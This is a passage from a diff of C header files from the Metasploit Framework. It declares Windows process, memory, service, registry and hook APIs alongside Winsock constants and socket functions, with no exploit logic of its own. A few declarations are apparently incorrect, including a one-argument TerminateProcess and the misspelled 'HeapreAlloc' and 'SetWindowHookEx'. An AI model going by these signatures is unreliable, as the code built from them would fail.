ProcessGroupInformation = 47,
|
||||
ProcessTokenVirtualizationEnabled = 48,
|
||||
ProcessOwnerInformation = 49,
|
||||
ProcessWindowInformation = 50,
|
||||
ProcessHandleInformation = 51,
|
||||
ProcessMitigationPolicy = 52,
|
||||
ProcessDynamicFunctionTableInformation = 53,
|
||||
ProcessHandleCheckingMode = 54,
|
||||
ProcessKeepAliveCount = 55,
|
||||
ProcessRevokeFileHandles = 56,
|
||||
ProcessWorkingSetControl = 57,
|
||||
ProcessHandleTable = 58,
|
||||
ProcessCheckStackExtentsMode = 59,
|
||||
ProcessCommandLineInformation = 60,
|
||||
ProcessProtectionInformation = 61,
|
||||
ProcessMemoryExhaustion = 62,
|
||||
ProcessFaultInformation = 63,
|
||||
ProcessTelemetryIdInformation = 64,
|
||||
ProcessCommitReleaseInformation = 65,
|
||||
ProcessReserved1Information = 66,
|
||||
ProcessReserved2Information = 67,
|
||||
ProcessSubsystemProcess = 68,
|
||||
ProcessInPrivate = 70,
|
||||
ProcessRaiseUMExceptionOnInvalidHandleClose = 71,
|
||||
MaxProcessInfoClass
|
||||
} PROCESSINFOCLASS;
|
||||
|
||||
typedef enum _FINDEX_INFO_LEVELS {
|
||||
FindExInfoStandard,
|
||||
FindExInfoBasic,
|
||||
FindExInfoMaxInfoLevel
|
||||
} FINDEX_INFO_LEVELS;
|
||||
|
||||
typedef enum _FINDEX_SEARCH_OPS {
|
||||
FindExSearchNameMatch,
|
||||
FindExSearchLimitToDirectories,
|
||||
FindExSearchLimitToDevices
|
||||
} FINDEX_SEARCH_OPS;
|
||||
|
||||
WINAPI void OutputDebugString __attribute__((dllimport))(LPCTSTR);
|
||||
WINAPI HGLOBAL GlobalAlloc __attribute__((dllimport))(UINT, size_t);
|
||||
WINAPI LPVOID GlobalLock __attribute__((dllimport))(HGLOBAL);
|
||||
WINAPI BOOL GlobalUnlock __attribute__((dllimport))(HGLOBAL);
|
||||
WINAPI HGLOBAL GlobalReAlloc __attribute__((dllimport))(HGLOBAL, size_t, UINT);
|
||||
WINAPI HGLOBAL GlobalFree __attribute__((dllimport))(HGLOBAL);
|
||||
WINAPI DWORD GetLastError __attribute__((dllimport))(void);
|
||||
WINAPI LPVOID VirtualAlloc __attribute__((dllimport))(LPVOID, size_t, DWORD, DWORD);
|
||||
WINAPI LPVOID VirtualAllocEx __attribute__((dllimport))(HANDLE, LPVOID, size_t, DWORD, DWORD);
|
||||
WINAPI BOOL VirtualProtect __attribute__((dllimport))(LPVOID, size_t, DWORD, PDWORD);
|
||||
WINAPI BOOL VirtualProtectEx __attribute__((dllimport))(HANDLE, LPVOID, size_t, DWORD, PDWORD);
|
||||
WINAPI HANDLE GetProcessHeap __attribute__((dllimport))(void);
|
||||
WINAPI DWORD GetProcessHeaps __attribute__((dllimport))(DWORD, PHANDLE);
|
||||
WINAPI HANDLE HeapCreate __attribute__((dllimport))(DWORD, size_t, size_t);
|
||||
WINAPI LPVOID HeapAlloc __attribute__((dllimport))(HANDLE, DWORD, size_t);
|
||||
WINAPI size_t HeapSize __attribute__((dllimport))(HANDLE, DWORD, LPCVOID);
|
||||
WINAPI LPVOID HeapreAlloc __attribute__((dllimport))(HANDLE, DWORD, LPVOID, size_t);
|
||||
WINAPI BOOL HeapFree __attribute__((dllimport))(HANDLE, DWORD, LPVOID);
|
||||
WINAPI BOOL HeapQueryInformation __attribute__((dllimport))(HANDLE, HEAP_INFORMATION_CLASS, PVOID, size_t, PSIZE_T);
|
||||
WINAPI BOOL HeapSetInformation __attribute__((dllimport))(HANDLE, HEAP_INFORMATION_CLASS, PVOID, size_t);
|
||||
WINAPI BOOL VirtualFreeEx __attribute__((dllimport))(HANDLE, LPVOID, size_t, DWORD);
|
||||
WINAPI void MoveMemory __attribute__((dllimport))(PVOID, void*, size_t);
|
||||
WINAPI BOOL WriteProcessMemory __attribute__((dllimport))(HANDLE, LPVOID, LPCVOID, size_t, size_t*);
|
||||
WINAPI BOOL ReadProcessMemory __attribute__((dllimport))(HANDLE, LPCVOID, LPVOID, size_t, size_t*);
|
||||
WINAPI HANDLE CreateThread __attribute__((dllimport))(LPSECURITY_ATTRIBUTES, size_t, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD );
|
||||
WINAPI HANDLE CreateRemoteThread __attribute__((dllimport))(HANDLE, LPSECURITY_ATTRIBUTES, size_t, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD );
|
||||
WINAPI DWORD GetProcessId __attribute__((dllimport))(HANDLE);
|
||||
WINAPI BOOL CreateProcess __attribute__((dllimport))(LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCTSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);
|
||||
WINAPI BOOL CreateProcessAsUser __attribute__((dllimport))(HANDLE, LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCTSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);
|
||||
WINAPI HANDLE OpenProcess __attribute__((dllimport))(DWORD, BOOL, DWORD);
|
||||
WINAPI void ExitProcess __attribute__((dllimport))(UINT);
|
||||
WINAPI BOOL TerminateProcess __attribute__((dllimport))(UINT);
|
||||
WINAPI DWORD GetTickCount __attribute__((dllimport))(void);
|
||||
WINAPI void Sleep __attribute__((dllimport))(DWORD);
|
||||
WINAPI UINT WinExec __attribute__((dllimport))(LPCSTR, UINT);
|
||||
WINAPI DWORD WaitForSingleObject __attribute__((dllimport))(HANDLE, DWORD);
|
||||
WINAPI FARPROC GetProcAddress __attribute__((dllimport))(HMODULE, LPCSTR);
|
||||
WINAPI HMODULE LoadLibrary __attribute__((dllimport))(LPCTSTR);
|
||||
WINAPI HMODULE GetModuleHandle __attribute__((dllimport))(LPCTSTR);
|
||||
WINAPI HANDLE CreateFile __attribute__((dllimport))(LPCTSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
|
||||
WINAPI BOOL GetFileInformationByHandle __attribute__((dllimport))(HANDLE, LPBY_HANDLE_FILE_INFORMATION);
|
||||
WINAPI DWORD GetFullPathName __attribute__((dllimport))(LPCTSTR, DWORD, LPTSTR, LPTSTR*);
|
||||
WINAPI DWORD GetFileType __attribute__((dllimport))(HANDLE);
|
||||
WINAPI BOOL MoveFile __attribute__((dllimport))(LPCTSTR, LPCTSTR);
|
||||
WINAPI BOOL DeleteFile __attribute__((dllimport))(LPCTSTR);
|
||||
WINAPI BOOL CopyFile __attribute__((dllimport))(LPCTSTR, LPCTSTR, BOOL);
|
||||
WINAPI BOOL WriteFile __attribute__((dllimport))(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
|
||||
WINAPI BOOL ReadFile __attribute__((dllimport))(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
|
||||
WINAPI BOOL ReadFileEx __attribute__((dllimport))(HANDLE, LPVOID, LPOVERLAPPED, LPOVERLAPPED_COMPLETION_ROUTINE);
|
||||
WINAPI DWORD GetFileSize __attribute__((dllimport))(HANDLE, LPDWORD);
|
||||
WINAPI DWORD GetTempPath __attribute__((dllimport))(DWORD, LPTSTR);
|
||||
WINAPI UINT GetTempFileName __attribute__((dllimport))(LPCTSTR, LPCTSTR, UINT, LPTSTR);
|
||||
WINAPI DWORD GetShortPathName __attribute__((dllimport))(LPCTSTR, LPTSTR, DWORD);
|
||||
WINAPI DWORD GetLongPathName __attribute__((dllimport))(LPCTSTR, LPTSTR, DWORD);
|
||||
WINAPI INT GetExpandedName __attribute__((dllimport))(LPTSTR, LPTSTR);
|
||||
WINAPI DWORD GetFinalPathNameByHandle __attribute__((dllimport))(HANDLE, LPTSTR, DWORD, DWORD);
|
||||
WINAPI BOOL LockFile __attribute__((dllimport))(HANDLE, DWORD, DWORD, DWORD, DWORD);
|
||||
WINAPI BOOL UnlockFile __attribute__((dllimport))(HANDLE, DWORD, DWORD, DWORD, DWORD);
|
||||
WINAPI BOOL UnlockFileEx __attribute__((dllimport))(HANDLE, DWORD, DWORD, DWORD, LPOVERLAPPED);
|
||||
WINAPI BOOL FreeLibrary __attribute__((dllimport))(HMODULE);
|
||||
WINAPI DWORD GetModuleFileName __attribute__((dllimport))(HMODULE, LPTSTR, DWORD);
|
||||
WINAPI BOOL CloseHandle __attribute__((dllimport))(HANDLE);
|
||||
WINAPI void DebugBreak __attribute__((dllimport))(void);
|
||||
WINAPI HWND FindWindow __attribute__((dllimport))(LPCTSTR, LPCTSTR);
|
||||
WINAPI HWND FindWindowEx __attribute__((dllimport))(HWND, HWND, LPCTSTR, LPCTSTR);
|
||||
WINAPI HWND GetWindow __attribute__((dllimport))(HWND, UINT);
|
||||
WINAPI HWND GetForegroundWindow __attribute__((dllimport))(void);
|
||||
WINAPI BOOL SetForegroundWindow __attribute__((dllimport))(HWND);
|
||||
WINAPI HWND GetDesktopWindow __attribute__((dllimport))(void);
|
||||
WINAPI HWND SetActiveWindow __attribute__((dllimport))(HWND);
|
||||
WINAPI BOOL IsWindowEnabled __attribute__((dllimport))(HWND);
|
||||
WINAPI HWND SetFocus __attribute__((dllimport))(HWND);
|
||||
WINAPI BOOL MoveWindow __attribute__((dllimport))(HWND, int, int, int, int, BOOL);
|
||||
WINAPI int MessageBox __attribute__((dllimport))(HWND, LPCTSTR, LPCTSTR, UINT);
|
||||
WINAPI BOOL Beep __attribute__((dllimport))(DWORD, DWORD);
|
||||
WINAPI BOOL CreateDirectory __attribute__((dllimport))(LPCTSTR, LPSECURITY_ATTRIBUTES);
|
||||
WINAPI HANDLE CreateFileMapping __attribute__((dllimport))(HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCTSTR);
|
||||
WINAPI LPVOID MapViewOfFile __attribute__((dllimport))(HANDLE, DWORD, DWORD, DWORD, size_t);
|
||||
WINAPI LPVOID MapViewOfFileEx __attribute__((dllimport))(HANDLE, DWORD, DWORD, DWORD, size_t, LPVOID);
|
||||
WINAPI BOOL FindClose __attribute__((dllimport))(HANDLE);
|
||||
WINAPI HANDLE FindFirstFile __attribute__((dllimport))(LPCTSTR, LPWIN32_FIND_DATA);
|
||||
WINAPI HANDLE FindFirstFileEx __attribute__((dllimport))(LPCTSTR, FINDEX_INFO_LEVELS, LPVOID, FINDEX_SEARCH_OPS, LPVOID, DWORD);
|
||||
WINAPI BOOL FindNextFile __attribute__((dllimport))(HANDLE, LPWIN32_FIND_DATA);
|
||||
WINAPI HANDLE GetCurrentProcess __attribute__((dllimport))(void);
|
||||
WINAPI HANDLE GetCurrentThread __attribute__((dllimport))(void);
|
||||
WINAPI LRESULT CallNextHookEx __attribute__((dllimport))(HHOOK, int, WPARAM, LPARAM);
|
||||
WINAPI BOOL GetMessage __attribute__((dllimport))(LPMSG, HWND, UINT, UINT);
|
||||
WINAPI BOOL PostMessage __attribute__((dllimport))(HWND, UINT, WPARAM, LPARAM);
|
||||
WINAPI LRESULT SendMessage __attribute__((dllimport))(HWND, UINT, WPARAM, LPARAM);
|
||||
WINAPI SC_HANDLE OpenSCManager __attribute__((dllimport))(LPCTSTR, LPCTSTR, DWORD);
|
||||
WINAPI BOOL StartService __attribute__((dllimport))(SC_HANDLE, DWORD, LPCTSTR*);
|
||||
WINAPI BOOL SetServiceStatus __attribute__((dllimport))(SERVICE_STATUS_HANDLE, LPSERVICE_STATUS);
|
||||
WINAPI SC_HANDLE CreateService __attribute__((dllimport))(SC_HANDLE, LPCTSTR, LPCTSTR, DWORD, DWORD, DWORD, DWORD, LPCTSTR, LPCTSTR, LPDWORD, LPCTSTR, LPCTSTR, LPCTSTR);
|
||||
WINAPI SC_HANDLE OpenService __attribute__((dllimport))(SC_HANDLE, LPCTSTR, DWORD);
|
||||
WINAPI BOOL ChangeServiceConfig __attribute__((dllimport))(SC_HANDLE, DWORD, DWORD, DWORD, LPCTSTR, LPCTSTR, LPDWORD, LPCTSTR, LPCTSTR, LPCTSTR, LPCTSTR);
|
||||
WINAPI BOOL DeleteService __attribute__((dllimport))(SC_HANDLE);
|
||||
WINAPI BOOL EnumServicesStatus __attribute__((dllimport))(SC_HANDLE, DWORD, DWORD, LPENUM_SERVICE_STATUS, DWORD, LPDWORD, LPDWORD, LPDWORD);
|
||||
WINAPI BOOL EnumServicesStatusEx __attribute__((dllimport))(SC_HANDLE, SC_ENUM_TYPE, DWORD, DWORD, LPBYTE, DWORD, LPDWORD, LPDWORD, LPDWORD, LPCTSTR);
|
||||
WINAPI BOOL CloseServiceHandle __attribute__((dllimport))(SC_HANDLE);
|
||||
WINAPI BOOL ControlService __attribute__((dllimport))(SC_HANDLE, DWORD, LPSERVICE_STATUS);
|
||||
WINAPI BOOL GetServiceDisplayName __attribute__((dllimport))(SC_HANDLE, LPCTSTR, LPTSTR, LPDWORD);
|
||||
WINAPI BOOL GetServiceKeyName __attribute__((dllimport))(SC_HANDLE, LPCTSTR, LPTSTR, LPDWORD);
|
||||
WINAPI BOOL QueryServiceStatus __attribute__((dllimport))(SC_HANDLE, LPSERVICE_STATUS);
|
||||
WINAPI BOOL OpenClipboard __attribute__((dllimport))(HWND);
|
||||
WINAPI HANDLE SetClipboardData __attribute__((dllimport))(UINT, HANDLE);
|
||||
WINAPI HANDLE GetClipboardData __attribute__((dllimport))(UINT);
|
||||
WINAPI BOOL EmptyClipboard __attribute__((dllimport))(void);
|
||||
WINAPI BOOL CloseClipboard __attribute__((dllimport))(void);
|
||||
WINAPI LONG RegSetValueEx __attribute__((dllimport))(HKEY, LPCTSTR, DWORD, DWORD, const BYTE*, DWORD);
|
||||
WINAPI LONG RegOpenCurrentUser __attribute__((dllimport))(REGSAM, PHKEY);
|
||||
WINAPI LONG RegDeleteValue __attribute__((dllimport))(HKEY, LPCTSTR);
|
||||
WINAPI LONG RegOpenKey __attribute__((dllimport))(HKEY, LPCTSTR, PHKEY);
|
||||
WINAPI LONG RegQueryValueEx __attribute__((dllimport))(HKEY, LPCTSTR, LPDWORD, LPDWORD, LPBYTE, LPDWORD);
|
||||
WINAPI LONG RegCloseKey __attribute__((dllimport))(HKEY);
|
||||
WINAPI LONG RegCreateKeyEx __attribute__((dllimport))(HKEY, LPCTSTR, DWORD, LPTSTR, DWORD, REGSAM, LPSECURITY_ATTRIBUTES, PHKEY, LPDWORD);
|
||||
WINAPI HHOOK SetWindowHookEx __attribute__((dllimport))(int, HOOKPROC, HINSTANCE, DWORD);
|
||||
WINAPI BOOL UnhookWindowsHookEx __attribute__((dllimport))(HHOOK);
|
||||
WINAPI BOOL IsDebuggerPresent __attribute__((dllimport))(void);
|
||||
WINAPI BOOL CheckRemoteDebuggerPresent __attribute__((dllimport))(HANDLE, PBOOL);
|
||||
WINAPI NTSTATUS NtQueryInformationProcess __attribute__((dllimport))(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
|
||||
WINAPI void SetLastError __attribute__((dllimport))(DWORD);
|
|
@ -0,0 +1,331 @@
|
|||
//
|
||||
// License:
|
||||
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
|
||||
//
|
||||
|
||||
#define IPPROTO_IP 0
|
||||
#define IPPROTO_ICMP 1
|
||||
#define IPPROTO_IGMP 2
|
||||
#define IPPROTO_GGP 3
|
||||
#define IPPROTO_TCP 6
|
||||
#define IPPROTO_PUP 12
|
||||
#define IPPROTO_UDP 17
|
||||
#define IPPROTO_IDP 22
|
||||
#define IPPROTO_ND 77
|
||||
#define IPPROTO_RAW 255
|
||||
#define IPPROTO_MAX 256
|
||||
#define IPPORT_ECHO 7
|
||||
#define IPPORT_DISCARD 9
|
||||
#define IPPORT_SYSTAT 11
|
||||
#define IPPORT_DAYTIME 13
|
||||
#define IPPORT_NETSTAT 15
|
||||
#define IPPORT_FTP 21
|
||||
#define IPPORT_TELNET 23
|
||||
#define IPPORT_SMTP 25
|
||||
#define IPPORT_TIMESERVER 37
|
||||
#define IPPORT_NAMESERVER 42
|
||||
#define IPPORT_WHOIS 43
|
||||
#define IPPORT_MTP 57
|
||||
#define IPPORT_TFTP 69
|
||||
#define IPPORT_RJE 77
|
||||
#define IPPORT_FINGER 79
|
||||
#define IPPORT_TTYLINK 87
|
||||
#define IPPORT_SUPDUP 95
|
||||
#define IPPORT_EXECSERVER 512
|
||||
#define IPPORT_LOGINSERVER 513
|
||||
#define IPPORT_CMDSERVER 514
|
||||
#define IPPORT_EFSSERVER 520
|
||||
#define IPPORT_BIFFUDP 512
|
||||
#define IPPORT_WHOSERVER 513
|
||||
#define IPPORT_ROUTESERVER 520
|
||||
#define IPPORT_RESERVED 1024
|
||||
#define IMPLINK_IP 155
|
||||
#define IMPLINK_LOWEXPER 156
|
||||
#define IMPLINK_HIGHEXPER 158
|
||||
#define WSADESCRIPTION_LEN 256
|
||||
#define WSASYS_STATUS_LEN 128
|
||||
#define SD_RECEIVE 0x00
|
||||
#define SD_SEND 0x01
|
||||
#define SD_BOTH 0x02
|
||||
#define FD_SETSIZE 64
|
||||
#define WSA_INVALID_HANDLE 6
|
||||
#define WSA_NOT_ENOUGH_MEMORY 8
|
||||
#define WSA_INVALID_PARAMETER 87
|
||||
#define WSA_OPERATION_ABORTED 995
|
||||
#define WSA_IO_INCOMPLETE 996
|
||||
#define WSA_IO_PENDING 997
|
||||
#define WSAEINTR 10004
|
||||
#define WSAEBADF 10009
|
||||
#define WSAEACCES 10013
|
||||
#define WSAEFAULT 10014
|
||||
#define WSAEINVAL 10022
|
||||
#define WSAEMFILE 10024
|
||||
#define WSAEWOULDBLOCK 10035
|
||||
#define WSAEINPROGRESS 10036
|
||||
#define WSAEALREADY 10037
|
||||
#define WSAENOTSOCK 10038
|
||||
#define WSAEDESTADDRREQ 10039
|
||||
#define WSAEMSGSIZE 10040
|
||||
#define WSAEPROTOTYPE 10041
|
||||
#define WSAENOPROTOOPT 10042
|
||||
#define WSAEPROTONOSUPPORT 10043
|
||||
#define WSAESOCKTNOSUPPORT 10044
|
||||
#define WSAEOPNOTSUPP 10045
|
||||
#define WSAEPFNOSUPPORT 10046
|
||||
#define WSAEAFNOSUPPORT 10047
|
||||
#define WSAEADDRINUSE 10048
|
||||
#define WSAEADDRNOTAVAIL 10049
|
||||
#define WSAENETDOWN 10050
|
||||
#define WSAENETUNREACH 10051
|
||||
#define WSAENETRESET 10052
|
||||
#define WSAECONNABORTED 10053
|
||||
#define WSAECONNRESET 10054
|
||||
#define WSAENOBUFS 10055
|
||||
#define WSAEISCONN 10056
|
||||
#define WSAENOTCONN 10057
|
||||
#define WSAESHUTDOWN 10058
|
||||
#define WSAETOOMANYREFS 10059
|
||||
#define WSAETIMEDOUT 10060
|
||||
#define WSAECONNREFUSED 10061
|
||||
#define WSAELOOP 10062
|
||||
#define WSAENAMETOOLONG 10063
|
||||
#define WSAEHOSTDOWN 10064
|
||||
#define WSAEHOSTUNREACH 10065
|
||||
#define WSAENOTEMPTY 10066
|
||||
#define WSAEPROCLIM 10067
|
||||
#define WSAEUSERS 10068
|
||||
#define WSAEDQUOT 10069
|
||||
#define WSAESTALE 10070
|
||||
#define WSAEREMOTE 10071
|
||||
#define WSASYSNOTREADY 10091
|
||||
#define WSAVERNOTSUPPORTED 10092
|
||||
#define WSANOTINITIALISED 10093
|
||||
#define WSAEDISCON 10101
|
||||
#define WSAENOMORE 10102
|
||||
#define WSAECANCELLED 10103
|
||||
#define WSAEINVALIDPROCTABLE 10104
|
||||
#define WSAEINVALIDPROVIDER 10105
|
||||
#define WSAEPROVIDERFAILEDINIT 10106
|
||||
#define WSASYSCALLFAILURE 10107
|
||||
#define WSASERVICE_NOT_FOUND 10108
|
||||
#define WSATYPE_NOT_FOUND 10109
|
||||
#define WSA_E_NO_MORE 10110
|
||||
#define WSA_E_CANCELLED 10111
|
||||
#define WSAEREFUSED 10112
|
||||
#define WSAHOST_NOT_FOUND 11001
|
||||
#define WSATRY_AGAIN 11002
|
||||
#define WSANO_RECOVERY 11003
|
||||
#define WSANO_DATA 11004
|
||||
#define WSA_QOS_RECEIVERS 11005
|
||||
#define WSA_QOS_SENDERS 11006
|
||||
#define WSA_QOS_NO_SENDERS 11007
|
||||
#define WSA_QOS_NO_RECEIVERS 11008
|
||||
#define WSA_QOS_REQUEST_CONFIRMED 11009
|
||||
#define WSA_QOS_ADMISSION_FAILURE 11010
|
||||
#define WSA_QOS_POLICY_FAILURE 11011
|
||||
#define WSA_QOS_BAD_STYLE 11012
|
||||
#define WSA_QOS_BAD_OBJECT 11013
|
||||
#define WSA_QOS_TRAFFIC_CTRL_ERROR 11014
|
||||
#define WSA_QOS_GENERIC_ERROR 11015
|
||||
#define WSA_QOS_ESERVICETYPE 11016
|
||||
#define WSA_QOS_EFLOWSPEC 11017
|
||||
#define WSA_QOS_EPROVSPECBUF 11018
|
||||
#define WSA_QOS_EFILTERSTYLE 11019
|
||||
#define WSA_QOS_EFILTERTYPE 11020
|
||||
#define WSA_QOS_EFILTERCOUNT 11021
|
||||
#define WSA_QOS_EOBJLENGTH 11022
|
||||
#define WSA_QOS_EFLOWCOUNT 11023
|
||||
#define WSA_QOS_EUNKOWNPSOBJ 11024
|
||||
#define WSA_QOS_EPOLICYOBJ 11025
|
||||
#define WSA_QOS_EFLOWDESC 11026
|
||||
#define WSA_QOS_EPSFLOWSPEC 11027
|
||||
#define WSA_QOS_EPSFILTERSPEC 11028
|
||||
#define WSA_QOS_ESDMODEOBJ 11029
|
||||
#define WSA_QOS_ESHAPERATEOBJ 11030
|
||||
#define WSA_QOS_RESERVED_PETYPE 11031
|
||||
#define AF_UNSPEC 0
|
||||
#define AF_INET 2
|
||||
#define AF_IPX 6
|
||||
#define AF_APPLETALK 16
|
||||
#define AF_NETBIOS 17
|
||||
#define AF_INET6 23
|
||||
#define AF_IRDA 26
|
||||
#define AF_BTH 32
|
||||
#define SOCK_STREAM 1
|
||||
#define SOCK_DGRAM 2
|
||||
#define SOCK_RAW 3
|
||||
#define SOCK_RDM 4
|
||||
#define SOCK_SEQPACKET 5
|
||||
#define INVALID_SOCKET (SOCKET)(~0)
|
||||
#define SOCKET_ERROR (-1)
|
||||
#define AI_PASSIVE 0x00000001
|
||||
#define AI_CANONNAME 0x00000002
|
||||
#define AI_NUMERICHOST 0x00000004
|
||||
#define AI_NUMERICSERV 0x00000008
|
||||
#define AI_ALL 0x00000100
|
||||
#define AI_ADDRCONFIG 0x00000400
|
||||
#define AI_V4MAPPED 0x00000800
|
||||
#define AI_NON_AUTHORITATIVE 0x00004000
|
||||
#define AI_SECURE 0x00008000
|
||||
#define AI_RETURN_PREFERRED_NAMES 0x00010000
|
||||
#define AI_FQDN 0x00020000
|
||||
#define AI_FILESERVER 0x00040000
|
||||
#define MAX_PROTOCOL_CHAIN 7
|
||||
#define WSAPROTOCOL_LEN 255
|
||||
#define SOMAXCONN 0x7fffffff
|
||||
|
||||
typedef unsigned char u_char;
|
||||
typedef unsigned short u_short;
|
||||
typedef unsigned int u_int;
|
||||
typedef unsigned long u_long;
|
||||
typedef u_int SOCKET;
|
||||
typedef unsigned int GROUP;
|
||||
typedef ULONG SERVICETYPE;
|
||||
|
||||
struct sockaddr {
|
||||
u_short sa_family;
|
||||
char sa_data[14];
|
||||
} SOCKADDR;
|
||||
|
||||
typedef struct WSAData {
|
||||
WORD wVersion;
|
||||
WORD wHighVersion;
|
||||
char szDescription[WSADESCRIPTION_LEN+1];
|
||||
char szSystemStatus[WSASYS_STATUS_LEN+1];
|
||||
unsigned short iMaxSockets;
|
||||
unsigned short iMaxUdpDg;
|
||||
char *lpVendorInfo;
|
||||
} WSADATA, *LPWSADATA;
|
||||
|
||||
typedef struct addrinfo {
|
||||
int ai_flags;
|
||||
int ai_family;
|
||||
int ai_socktype;
|
||||
int ai_protocol;
|
||||
size_t ai_addrlen;
|
||||
char *ai_canonname;
|
||||
struct sockaddr *ai_addr;
|
||||
struct addrinfo *ai_next;
|
||||
} ADDRINFOA, *PADDRINFOA;
|
||||
|
||||
typedef struct fd_set {
|
||||
u_int fd_count;
|
||||
SOCKET fd_array[FD_SETSIZE];
|
||||
} fd_set;
|
||||
|
||||
typedef struct in_addr {
|
||||
union {
|
||||
struct {
|
||||
u_char s_b1,s_b2,s_b3,s_b4;
|
||||
} S_un_b;
|
||||
struct {
|
||||
u_short s_w1,s_w2;
|
||||
} S_un_w;
|
||||
u_long S_addr;
|
||||
} S_un;
|
||||
} IN_ADDR, *PIN_ADDR, *LPIN_ADDR;
|
||||
|
||||
struct sockaddr_in {
|
||||
short sin_family;
|
||||
u_short sin_port;
|
||||
struct in_addr sin_addr;
|
||||
char sin_zero[8];
|
||||
};
|
||||
|
||||
struct sockproto {
|
||||
u_short sp_family;
|
||||
u_short sp_protocol;
|
||||
};
|
||||
|
||||
typedef struct hostent {
|
||||
char *h_name;
|
||||
char **h_aliases;
|
||||
short h_addrtype;
|
||||
short h_length;
|
||||
char **h_addr_list;
|
||||
} HOSTENT, *PHOSTENT, *LPHOSTENT;
|
||||
|
||||
typedef struct _WSAPROTOCOLCHAIN {
|
||||
int ChainLen;
|
||||
DWORD ChainEntries[MAX_PROTOCOL_CHAIN];
|
||||
} WSAPROTOCOLCHAIN, *LPWSAPROTOCOLCHAIN;
|
||||
|
||||
typedef struct _WSAPROTOCOL_INFO {
|
||||
DWORD dwServiceFlags1;
|
||||
DWORD dwServiceFlags2;
|
||||
DWORD dwServiceFlags3;
|
||||
DWORD dwServiceFlags4;
|
||||
DWORD dwProviderFlags;
|
||||
GUID ProviderId;
|
||||
DWORD dwCatalogEntryId;
|
||||
WSAPROTOCOLCHAIN ProtocolChain;
|
||||
int iVersion;
|
||||
int iAddressFamily;
|
||||
int iMaxSockAddr;
|
||||
int iMinSockAddr;
|
||||
int iSocketType;
|
||||
int iProtocol;
|
||||
int iProtocolMaxOffset;
|
||||
int iNetworkByteOrder;
|
||||
int iSecurityScheme;
|
||||
DWORD dwMessageSize;
|
||||
DWORD dwProviderReserved;
|
||||
TCHAR szProtocol[WSAPROTOCOL_LEN+1];
|
||||
} WSAPROTOCOL_INFO, *LPWSAPROTOCOL_INFO;
|
||||
|
||||
typedef struct _WSABUF
|
||||
{
|
||||
ULONG len;
|
||||
CHAR* buf;
|
||||
} WSABUF, *LPWSABUF;
|
||||
|
||||
typedef struct _FLOWSPEC {
|
||||
unsigned int TokenRate;
|
||||
unsigned int TokenBucketSize;
|
||||
unsigned int PeakBandwidth;
|
||||
unsigned int Latency;
|
||||
unsigned int DelayVariation;
|
||||
SERVICETYPE ServiceType;
|
||||
unsigned int MaxSduSize;
|
||||
unsigned int MinimumPolicedSize;
|
||||
} FLOWSPEC, *PFLOWSPEC, *LPFLOWSPEC;
|
||||
|
||||
typedef struct _QUALITYOFSERVICE {
|
||||
FLOWSPEC SendingFlowspec;
|
||||
FLOWSPEC ReceivingFlowspec;
|
||||
WSABUF ProviderSpecific;
|
||||
} QOS, *LPQOS;
|
||||
|
||||
typedef int (CALLBACK *LPCONDITIONPROC)(LPWSABUF, LPWSABUF, LPQOS, LPQOS, LPWSABUF, LPWSABUF, GROUP *, DWORD);
|
||||
typedef struct sockaddr_in SOCKADDR_IN;
|
||||
typedef struct sockaddr_in *PSOCKADDR_IN;
|
||||
typedef struct sockaddr_in *LPSOCKADDR_IN;
|
||||
|
||||
WINAPI int WSAStartup __attribute__((dllimport))(WORD, LPWSADATA);
|
||||
WINAPI int WSACleanup __attribute__((dllimport))();
|
||||
WINAPI int getaddrinfo __attribute__((dllimport))(PCSTR, PCSTR, const ADDRINFOA*, PADDRINFOA*);
|
||||
WINAPI SOCKET socket __attribute__((dllimport))(int, int, int);
|
||||
WINAPI void freeaddrinfo __attribute__((dllimport))(struct addrinfo*);
|
||||
WINAPI int closesocket __attribute__((dllimport))(SOCKET);
|
||||
WINAPI int bind __attribute__((dllimport))(SOCKET, const struct sockaddr*, int);
|
||||
WINAPI SOCKET accept __attribute__((dllimport))(SOCKET, struct sockaddr*, int*);
|
||||
WINAPI BOOL AcceptEx __attribute__((dllimport))(SOCKET, SOCKET, PVOID, DWORD, DWORD, DWORD, LPDWORD, LPOVERLAPPED);
|
||||
WINAPI int connect __attribute__((dllimport))(SOCKET, const struct sockaddr*, int);
|
||||
WINAPI int gethostname __attribute__((dllimport))(char*, int);
|
||||
WINAPI int listen __attribute__((dllimport))(SOCKET, int);
|
||||
WINAPI int recv __attribute__((dllimport))(SOCKET, char*, int, int);
|
||||
WINAPI int recvfrom __attribute__((dllimport))(SOCKET, char*, int, int, struct sockaddr*, int*);
|
||||
WINAPI int send __attribute__((dllimport))(SOCKET, char*, int, int);
|
||||
WINAPI int sendto __attribute__((dllimport))(SOCKET, char*, int, int, const struct sockaddr*, int);
|
||||
WINAPI int select __attribute__((dllimport))(int, fd_set*, fd_set*, fd_set*, const struct timeval*);
|
||||
WINAPI int setsockopt __attribute__((dllimport))(SOCKET, int, int, const char*, int);
|
||||
WINAPI char* inet_ntoa __attribute__((dllimport))(struct in_addr);
|
||||
WINAPI unsigned long inet_addr __attribute__((dllimport))(const char*);
|
||||
WINAPI int shutdown __attribute__((dllimport))(SOCKET, int);
|
||||
WINAPI u_short htons __attribute__((dllimport))(u_short);
|
||||
WINAPI u_long htonl __attribute__((dllimport))(u_long);
|
||||
WINAPI struct hostent* gethostbyname __attribute__((dllimport))(const char*);
|
||||
WINAPI struct hostent* gethostbyaddr __attribute__((dllimport))(const char*, int, int);
|
||||
WINAPI int WSAGetLastError __attribute__((dllimport))();
|
||||
WINAPI SOCKET WSASocket __attribute__((dllimport))(int, int, int, LPWSAPROTOCOL_INFO, GROUP, DWORD);
|
||||
